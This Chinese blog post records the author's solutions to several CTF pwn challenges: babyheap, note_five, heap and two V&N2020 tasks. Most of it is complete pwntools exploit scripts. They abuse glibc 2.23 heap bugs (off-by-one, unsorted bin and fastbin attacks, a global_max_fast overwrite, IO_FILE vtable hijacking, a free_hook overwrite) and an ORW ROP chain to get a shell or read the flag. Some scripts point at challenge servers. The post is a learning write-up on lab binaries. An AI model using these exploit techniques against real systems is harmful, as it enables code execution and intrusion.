PWN学习记录


babyheap

考察点:unsortedbin attack,house of sprit,global_max_fast,fastbin attack

按照流程,首先checksec

保护全开的堆题,并且由于开启了Full RELRO,所以我们不能通过复写got表来getshell
运行一下,看看程序如何运行

菜单题,增删查改一样不少,然后我们把程序拖进IDA看看
首先是main函数

//main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-4h]
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  v4 = 0;
  sub_EC6();
  while ( v4 != 5 )
  {
    menu();
    v4 = sub_B0A();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        add();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        edit();
        break;
      case 4u:
        show();
        break;
      case 5u:
        break;
      default:
        puts("Invalid option!");
        break;
    }
    puts(byte_1168);
  }
  return 0LL;
}

main函数开头有一个sub_EC6()函数

int sub_EC6()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  mallopt(1, 0);
  return puts("WELCOME!\n");
}

其中的mallopt(1,0)规定了global_max_fast的大小为0,这样即是限制了fastbin的最大大小为0,即不允许使用fastbin
再看到add函数

v2 = -1;
  for ( i = 0; i <= 0xF; ++i )
  {
    if ( !qword_202060[i] )
    {
      v2 = i;
      break;
    }
  }
  if ( v2 == -1 )
    return puts("Error: Don't have enough space!");
  printf("size: ");
  v3 = sub_B0A();
  if ( v3 <= 0 || v3 > 0x6F )
    return puts("The size is wrong!");
  qword_202060[v2] = malloc(v3);
  printf("data: ");
  sub_A8A(qword_202060[v2], (unsigned int)v3);
  return puts("Success!");

最大允许add chunk16次,并且允许申请的最大的chunk大小为0x6f

delete函数

printf("index: ");
v1 = sub_B0A();
if ( (v1 & 0x80000000) != 0 || v1 > 0xF || !qword_202060[v1] )
  return puts("Error: Invalid index!");
free((void *)qword_202060[v1]);
qword_202060[v1] = 0LL;
return puts("Success!");

delete函数没有问题,free之后同时将指针清零

edit函数

printf("index: ");
v2 = sub_B0A();
if ( (v2 & 0x80000000) != 0 || v2 > 0xF || !qword_202060[v2] )
  return puts("Error: Invalid index!\n");
printf("data: ");
v0 = strlen((const char *)qword_202060[v2]);
sub_A8A(qword_202060[v2], v0);
return puts("Success!");

其中的sub_A8A存在off-by-one漏洞

show函数

printf("index: ");
v1 = sub_B0A();
if ( (v1 & 0x80000000) != 0 || v1 > 0xF || !qword_202060[v1] )
  return puts("Error: Invalid index!\n");
puts((const char *)qword_202060[v1]);
return puts("Success!");

没什么好说的,通过序号输出chunk的内容

整理一下我们的信息
1.无法使用fastbin attack
2.最大只允许分配0x6f大小的chunk
3.存在off-by-one漏洞
大概思路如下:通过unsorted bin attack修改global_max_fast的大小,是fastbin开启,然后通过fastbin attack修改malloc_hook为one_gadget

先封装好我们要用到的一些函数

def add(size, data):
    io.recvuntil(': ')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(': ')
    io.send(data)

def free(index):
    io.recvuntil(': ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(index))

def edit(index, data):
    io.recvuntil(': ')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(index))
    io.recvuntil(': ')
    io.send(data)

def show(index):
    io.recvuntil(': ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(index))

首先让我们来泄露libc基地址
我们创建5个chunk,第一个用来off-by-one,第二三四个用来合并,第五个防止前面的chunk和topchunk合并
我们将chunk1(编号从0开始)的size修改为chunk123的和,然后free掉,再add一个chunk1大小的chunk,这样main_arena的地址就到了chunk2里面,然后show(2)即可leak出地址

add(0x18, 'a'*0x18)
add(0x28, 'a')
add(0x38, 'a')
add(0x28, 'a')
add(0x18, 'a'*0x18)
edit(0, 'a'*0x18+p8(0xa1))
free(1)
add(0x28, 'a')
show(2)
libc_base = u64(io.recv(6).ljust(8, '\x00'))-0x3c4b78
log.success("libc_base => {}".format(hex(libc_base)))
global_max_fast = libc_base+0x3c67f8
log.success("global_max_fast => {}".format(hex(global_max_fast)))
__malloc_hook_addr = libc_base+libc.symbols['__malloc_hook']
__libc_realloc_addr = libc_base+libc.symbols['__libc_realloc']
one_gadget_addr=libc_base+one_gadget
log.success("__malloc_hook_addr => {}".format(hex(__malloc_hook_addr)))
log.success("__libc_realloc_addr => {}".format(hex(__libc_realloc_addr)))
log.success("one_gadget_addr => {}".format(hex(one_gadget_addr)))

有了libc基地址之后,我们就进行下一步,修改global_max_fast
我们需要将某个free掉的chunk的bk指针修改为global_max_fast-0x10处,这就需要构造fake chunk,即house of sprit技术(直接通过overlap行不通,因为这题edit的长度是原chunk输入内容的长度,而输入内容的长度是通过strlen函数判断的,遇到’\x00’就会截至)
我们先将chunk恢复原状

'''
add(0x18, 'a'*0x18)
add(0x28, 'a')
add(0x38, 'a')
add(0x28, 'a')
add(0x18, 'a'*0x18)
edit(0, 'a'*0x18+p8(0xa1))
free(1)
add(0x28, 'a')
show(2)
'''
add(0x38, 'a')
add(0x28, 'a')
edit(0, 'a'*0x18+p8(0xa1))

然后进行如下操作

free(1)
add(0x48, 'a'*40+p64(0x41))

至于为什么这么操作,我们进入gdb看看
首先是free(1)之后

接着构造我们的fakechunk

接着将unsorted bin中剩下的0x50大小的chunk也分配出来,然后依次free掉我们刚刚add的chunk

free(1)
free(2) #这里实际上free的是我们的fakechunk

我们再进到gdb看看


可以看到我们的fakechunk确实被放入了unsortedbin中,并且由于fakechunk的fd和bk指针都包含在chunk1中,所以我们可重新分配chunk1,然后将fakechunk的bk指针修改

add(0x48, 'a'*40+p64(0x41)+p64(0)+p64(global_max_fast-0x10))
add(0x38,'a')


可以看到global_max_fast的值变成了main_arena的地址,也就是说我们接下来就可以使用fastbin了
最后的fastbin attack也利用了house of sprit技术,就不多赘述了,下面是完整exp

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
io = process('./babyheap')
# io=remote('nc.eonew.cn',10502)
elf = ELF('babyheap')
libc = ELF('libc-2.23.so')
one_gadget = 0x4526a

def add(size, data):
    io.recvuntil(': ')
    io.sendline('1')
    io.recvuntil(': ')
    io.sendline(str(size))
    io.recvuntil(': ')
    io.send(data)

def free(index):
    io.recvuntil(': ')
    io.sendline('2')
    io.recvuntil(': ')
    io.sendline(str(index))


def edit(index, data):
    io.recvuntil(': ')
    io.sendline('3')
    io.recvuntil(': ')
    io.sendline(str(index))
    io.recvuntil(': ')
    io.send(data)

def show(index):
    io.recvuntil(': ')
    io.sendline('4')
    io.recvuntil(': ')
    io.sendline(str(index))

add(0x18, 'a'*0x18)
add(0x28, 'a')
add(0x38, 'a')
add(0x28, 'a')
add(0x18, 'a'*0x18)
add(0x18, 'a')
add(0x68, p64(0)*9+p64(0x21))
add(0x68, 'a')

edit(0, 'a'*0x18+p8(0xa1))
free(1)
add(0x28, 'a')
show(2)

libc_base = u64(io.recv(6).ljust(8, '\x00'))-0x3c4b78
log.success("libc_base => {}".format(hex(libc_base)))
global_max_fast = libc_base+0x3c67f8
log.success("global_max_fast => {}".format(hex(global_max_fast)))
__malloc_hook_addr = libc_base+libc.symbols['__malloc_hook']
__libc_realloc_addr = libc_base+libc.symbols['__libc_realloc']
one_gadget_addr=libc_base+one_gadget
log.success("__malloc_hook_addr => {}".format(hex(__malloc_hook_addr)))
log.success("__libc_realloc_addr => {}".format(hex(__libc_realloc_addr)))
log.success("one_gadget_addr => {}".format(hex(one_gadget_addr)))

add(0x38, 'a')
add(0x28, 'a')
edit(0, 'a'*0x18+p8(0xa1))

free(1)
add(0x48, 'a'*40+p64(0x41))
add(0x48, 'a')
free(1)
free(2)

add(0x48, 'a'*40+p64(0x41)+p64(0)+p64(global_max_fast-0x10))
add(0x38,'a')
gdb.attach(io)
edit(4,'a'*0x18+p8(0x71))
free(7)
free(6)
free(5)
add(0x68,p64(0)*3+p64(0x71)+p64(__malloc_hook_addr-0x23))
add(0x68,'a')
add(0x68,'a'*0xb+p64(one_gadget_addr)+p64(__libc_realloc_addr+8))
io.recvuntil(':')
io.sendline('1')
io.recvuntil(':')
io.sendline('1')
io.interactive()

note_five

考察点:IO_FILE利用
这道题我是拿大师傅的exp一步步调试的,算是弄明白了在没有show函数的情况下如何泄露出libc地址
这位大师傅
我对原exp做了点改动,符合个人习惯一点,exp如下

#!/usr/bin/python
# coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
p=process('./note_five')
libc=ELF('libc-2.23_x64.so')

def bk(mallocr):
    gdb.attach(p, "b *"+str(hex(mallocr)))

def sl(s): return p.sendline(s)

def sd(s): return p.send(s)

def rc(n): return p.recv(n)

def ru(s): return p.recvuntil(s)

def ti(): return p.interactive()

def malloc(idx, size):
    ru("choice>> ")
    sl('1')
    ru("idx: ")
    sl(str(idx))
    ru("size: ")
    sl(str(size))

def free(index):
    ru("choice>> ")
    sl('3')
    ru("idx:")
    sl(str(index))

def edit(index, content):
    ru("choice>> ")
    sl('2')
    ru("idx: ")
    sl(str(index))
    ru("content: ")
    sd(content)

def pwn():
    malloc(0, 0xf8)
    malloc(1, 0xf8)
    malloc(2, 0xe8)
    malloc(3, 0xf8)
    malloc(4, 0xf8)

    free(0)
    payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
    edit(2, payload)
    free(3)
    malloc(0, 0x2f0 - 0x10)
    payload = '\x11' * 0xf0
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
    edit(0, payload)
    free(1)
    global_max_fast = 0x77f8
    stdout = 0x77f8 - 0x1229
    payload = '\x11' * 0xf0
    payload += p64(0) + p64(0x101)
    payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
    edit(0, payload)

    malloc(3, 0xf8)
    malloc(3, 0xf8)
    payload = '\x11' * 0xf0
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
    edit(0, payload)
    free(2)
    payload = '\x11' * 0xf0
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
    payload += p16(stdout) + '\n'
    edit(0, payload)
    malloc(3, 0xe8)
    malloc(4, 0xe8)

    py = ''
    py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
    edit(4, py)
    rc(0x40)
    libc_base = u64(rc(8)) - 0x3c5600
    onegadget = libc_base + 0xf1147
    print "libc_base--->" + hex(libc_base)
    system = libc_base + libc.symbols["system"]
    fake_vtable = libc_base + 0x3c5600-8
    binsh = libc_base + libc.search('/bin/sh\x00').next()
    py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1) + \
        p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
    edit(4, py)
    # trigger abort-->flush
    malloc(1, 1000)

i = 0
while 1:
    print i
    i += 1
    try:
        pwn()
    except EOFError:
        p.close()
        local = 1
        elf = ELF('./note_five')
        if local:
            p = process('./note_five')
            libc = ELF('libc-2.23_x64.so')
            continue
        else:
            p = remote('121.40.246.48', 9999)
    else:
        sl("ls")
        break
p.interactive()

程序保护全开,菜单题,拖进IDA分析一下
main函数

add函数

允许分配的chunk大于fastbin
edit函数

其中的sub_A70的函数存在off-by-one漏洞

最后是delete函数

free并且清零,无漏洞
我们的攻击思路如下

1.利用offbyone实现overlap
2.利用overlap实现改BK指针,攻击global_max_fast
3.改FD指针为stdout-0x51,成功实现劫持
4.改结构体从而泄露真实地址
5.然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget
6.malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell

首先通过off-by-one触发后向合并

malloc(0, 0xf8)
malloc(1, 0xf8)
malloc(2, 0xe8)
malloc(3, 0xf8)
malloc(4, 0xf8)
free(0)
payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
edit(2, payload)
free(3)

初始状态

free(0)之后

off-by-one之后

free(3)之后,导致后向合并

接下来将堆块构造成初始状态

malloc(0,0x2f0 - 0x10)
payload = '\x11' * 0xf0 
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)




然后free掉chunk1,使main_arena放到chunk1的fd和bk指针上,这样我们就可以通过edit0来修改globa_max_fast了

free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
edit(0,payload)

这里面的0x77f8是global_max_fast地址的最后四位,虽然开启了PIE,但地址的最后三位是不变的,我们只需要爆破倒数第四位即可,也就是十六分之一的几率,我们可以在gdb中看看


global_max_fast与main_arena的地址相比确实只有最后四位不一样,并且最后三位固定为7f8
0x1229则是global_max_fast的地址与stdout上可以构造fakechunk的地址的相对便宜

malloc(3,0xf8)
malloc(3,0xf8)
payload = '\x11' * 0xf0 
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)

两次malloc之后,global_max_fast的值变成了main_arena+88的地址(十六分之一的几率)
接着再将堆块恢复

payload = '\x11' * 0xf0 
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)

然后开始准备修改IO_FILE,泄露libc地址

free(2)
payload = '\x11' * 0xf0 
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
payload += p16(stdout) + '\n'
edit(0,payload)

此时的堆结构如下


malloc(3,0xe8)
malloc(4,0xe8)
py = ''
py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' 
edit(4,py)

第一次malloc之后

接下来再malloc一次就能将chunk分配到stdout-0x51处
然后修改IO_FILE的值,就能泄露出libc地址了
剩下的也就比较容易了,再次修改IO_FILE

然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

附上vtable存储的函数跳转指针

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0xf1147
print "libc_base--->" + hex(libc_base)
system = libc_base + libc.symbols["system"]
fake_vtable = libc_base + 0x3c5600-8 
binsh = libc_base + libc.search('/bin/sh\x00').next()
py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
edit(4,py)
# trigger abort-->flush
malloc(1,1000)

看一看edit后的效果

这样看不太清楚,我们以8字节对齐来看

再看一下stderr的vtable的指针

确实被修改了(这种攻击方式只对libc2.24以下有效,2.24及以上就有了防御手段了,不过一样有方法攻击)
one_gadget的地址被放在了vtable+0x18的位置处,只需要使其报错即可getshell

heap

考察点:off-by-one free_hook
程序保护全开,有增删查三个功能
main函数中有一个sub_BD8函数

v0 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
qword_202040 = _malloc_hook;
return __readfsqword(0x28u) ^ v0;

将__malloc_hook赋给了qword_202040
还有一个sub_AFA函数

v1 = __readfsqword(0x28u);
if ( !dword_202048 )
  _assert_fail("replaced", "fastbin.c", 0x26u, "restore_hook");
dword_202048 = 0;
_malloc_hook = qword_202040;
return __readfsqword(0x28u) ^ v1;

就是说malloc_hook的值在每次add之后都会被修改,这样我们就无法利用__malloc_hook了

再看到add函数

存在off-by-one漏洞

然后是delete函数

free且清零,无漏洞

最后是show函数

输出所有chunk的内容

整理一下攻击思路:无法修改got表,无法利用malloc_hook,剩下的可以利用和free_hook和IO_FILE,个人倾向于使用free_hook(IO_FILE使用不熟练,tcl)
那么先来泄露libc地址
这题的泄露方法很简单,add一个unsorted bin大小的chunk,然后free,接着add相同大小的chunk,接着输出即可

add(0x100, 'a')  # 0
add(0x68, 'b')  # 1
delete(0)
add(0x100, 'a'*8)  # 0
show()
leak_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak_addr:'+hex(leak_addr))
libc_base = leak_addr-0x3c4b78
success('libc_base:'+hex(libc_base))
__malloc_hook_addr = libc_base+libc.symbols['__malloc_hook']
success('__malloc_hook_addr:'+hex(__malloc_hook_addr))
__free_hook_addr = libc_base+libc.symbols['__free_hook']
success('__free_hook_addr:'+hex(__free_hook_addr))
system_addr = libc_base+libc.symbols['system']
success('system_addr:'+hex(system_addr))

另外,off-by-one可以构造出doublefree,构造方法如下

add(0x68, 'c')  # 2
add(0x68, 'd')  # 3
add(0x68, 'e')  # 4

delete(1)
add(0x68, 'c'*0x68+p8(0xe1))
delete(2)  # delete 2 and 3

add(0x68, 'd')  # 2
add(0x68, 'e')  # 5
delete(5)  # free chunk3
delete(4)
delete(3)  # double free chunk3


构造出了double free
接下来就是想办法把chunk分配到free_hook上方,然后将system函数的地址写入其中,最后free一个内容是/bin/sh的chunk即可getshell
由于free_hook的上方都是0,所以我们无法利用fastbinattack
于是我们把topchunk的地址挪一挪,使其挪到一个我们经过一定次数分配后能将chunk分配到free_hook的地方
首先让我们康康


topchunk的地址正是存在main_arena+88处,所以我们想办法修改main_arena+88的值即可,那我们该如何修改修改
可以在main_arena附近使用fastbin attack
我们可以找到在__malloc_hook-0x3处存在一个大小合适的chunk

而malloc_hook又是紧邻main_arena的,所以可以从这里开始
我们先利用double free将chunk分配到malloc_hook-0x3处

add(0x68, p64(__malloc_hook_addr-0x3))  # heap 3
add(0x68, '/bin/sh\x00')  # heap 4
add(0x68, 'cccc')  # heap 5

接下来还要想办法更靠近一点,那就继续fastbin attack,我们只需要伪造fakechunk即可

add(0x68, chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)+p64(0)*2+p64(__malloc_hook_addr+0x20))

康康这样构造之后会变成什么样



main_arena+48对应着的是fastbin中0x70大小的chunk的地址,这样我们再add一个就能将chunk分配到main_arena+16处
然后就是将topchunk的地址给覆盖掉,覆盖到哪,__free_hook-0xb58处是一个可以接受的地址,作为topchunk大小也足够

add(0x68, chr(0)*0x38+p64(__free_hook_addr-0xb58))



覆盖成功
最后就是连续分配了,考虑到0xb85/0xa0=18…0x18,我们连续分配18个0x90大小的chunk,第十九次分配就能分配到free_hook附近,然后就能修改free_hook的值

for i in range(18):
    add(0x90, 'aaa')
add(0x90, 'a'*8+p64(system_addr))
delete(4)

以下是完整exp

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
io = process('./heap')
elf = ELF('heap')
libc = ELF('libc-2.23_x64.so')

def add(size, data):
    io.recvuntil('Choice :')
    io.sendline('1')
    io.recvuntil('size: ')
    io.sendline(str(size))
    io.recvuntil('data: ')
    io.send(data)

def delete(index):
    io.recvuntil('Choice :')
    io.sendline('2')
    io.recvuntil('delete: ')
    io.sendline(str(index))

def show():
    io.recvuntil('Choice :')
    io.sendline('3')

add(0x80, 'a')  # 0
add(0x68, 'b')  # 1
delete(0)
add(0x80, 'a'*8)  # 0
show()
leak_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak_addr:'+hex(leak_addr))
libc_base = leak_addr-0x3c4b78
success('libc_base:'+hex(libc_base))
__malloc_hook_addr = libc_base+libc.symbols['__malloc_hook']
success('__malloc_hook_addr:'+hex(__malloc_hook_addr))
__free_hook_addr = libc_base+libc.symbols['__free_hook']
success('__free_hook_addr:'+hex(__free_hook_addr))
system_addr = libc_base+libc.symbols['system']
success('system_addr:'+hex(system_addr))

add(0x68, 'c')  # 2
add(0x68, 'd')  # 3
add(0x68, 'e')  # 4

delete(1)
add(0x68, 'c'*0x68+p8(0xe1))
delete(2)  # delete 2 and 3

add(0x68, 'd')  # 2
add(0x68, 'e')  # 5
delete(5)  # free chunk3
delete(4)
delete(3)  # double free chunk3

add(0x68, p64(__malloc_hook_addr-0x3))  # heap 3
add(0x68, '/bin/sh\x00')  # heap 4
add(0x68, 'cccc')  # heap 5
add(0x68, chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)+p64(0)*2+p64(__malloc_hook_addr+0x20))
add(0x68, chr(0)*0x38+p64(__free_hook_addr-0xb58))
for i in range(18):
    add(0x90, 'aaa')
add(0x90, 'a'*8+p64(system_addr))
delete(4)
io.interactive()

[V&N2020 公开赛]easyTHeap

考察点:tcache表头攻击
简略说一下吧,tcache结构体存在于heap区域,tcache到tcache+0x50处是各个tcache的大小,剩下的区域中存储着各个tcache的地址,
程序存在dobule free,那么我们就可以通过double free泄露heap地址,进而知道tcache地址,然后修改响应大小的tcache指向的地址,就可以任意地址写了
之后的攻击就是正常的利用one_gadget分配到malloc_hook上,即可getshell

[V&N2020 公开赛]warmup

考察点:orw攻击和对栈空间的理解
同样简略说一下,程序开启了沙箱,禁用了exceve和system,这样我们就无法getshell,只能通过orw攻击读取flag
而这个程序的main函数又是个套娃



第一次输入无溢出,第二次输入存在0x10字节的溢出,刚好溢出到rip,而这个函数的栈帧是位于前一个函数上方的,我们只需在rip处
用ret语句连接两个栈帧即可执行第一次读入的内容,我们的攻击思路就是,在第一次输入中输入orw的rop链(由于程序开启了PIE,所以我们使用libc中的gadget),第二次直接溢出到rip,使用ret连接两个栈桢即可

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
# io = process('./vn_pwn_warmup')
io = remote('node3.buuoj.cn', 25013)
libc = ELF('libc-2.23_x64.so')

io.recvuntil('0x')
puts_addr = int(io.recv(12), 16)
libc_base = puts_addr-libc.symbols['puts']
log.success('puts_addr => {}'.format(hex(puts_addr)))
log.success('libc_base => {}'.format(hex(libc_base)))

pop_rdi_ret = libc_base+0x21102
pop_rsi_ret = libc_base+0x202e8
pop_rdx_ret = libc_base+0x01b92
ret = libc_base+0x937
read_addr = libc_base+libc.symbols['read']
write_addr = libc_base+libc.symbols['write']
open_addr = libc_base+libc.symbols['open']
bss_addr = libc_base+0x3c6500

payload = p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret) + \
    p64(bss_addr)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(bss_addr) + \
    p64(pop_rsi_ret)+p64(0)+p64(open_addr)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret) + \
    p64(bss_addr)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret) + \
    p64(bss_addr)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)

io.sendline(payload)
io.recvuntil('name?')
payload = 'A'*0x70+p64(0xdeadbeef)+p64(ret)
io.send(payload)
io.sendline('/flag\x00')
io.interactive()

文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
BUUCTF刷题记录 BUUCTF刷题记录
0x1.gyctf_2020_signin环境是2.27.这题的考点在于,calloc不会从tcache中取chunk,而是直接从fastbin中取,并且会将fastbin中剩余的chunk链入tcache 程序的漏洞在于dele函数
2020-05-08
下一篇 
堆学习记录 堆学习记录
大部分题目都选自HITCON Training UAF漏洞(use after free)顾名思义,UAF漏洞的意思就是在chunk被free之后依然能够使用,产生的原因在于使用过堆块之后没有及时将堆块的指针置null,导致下次申请内存的时
2020-02-24
  目录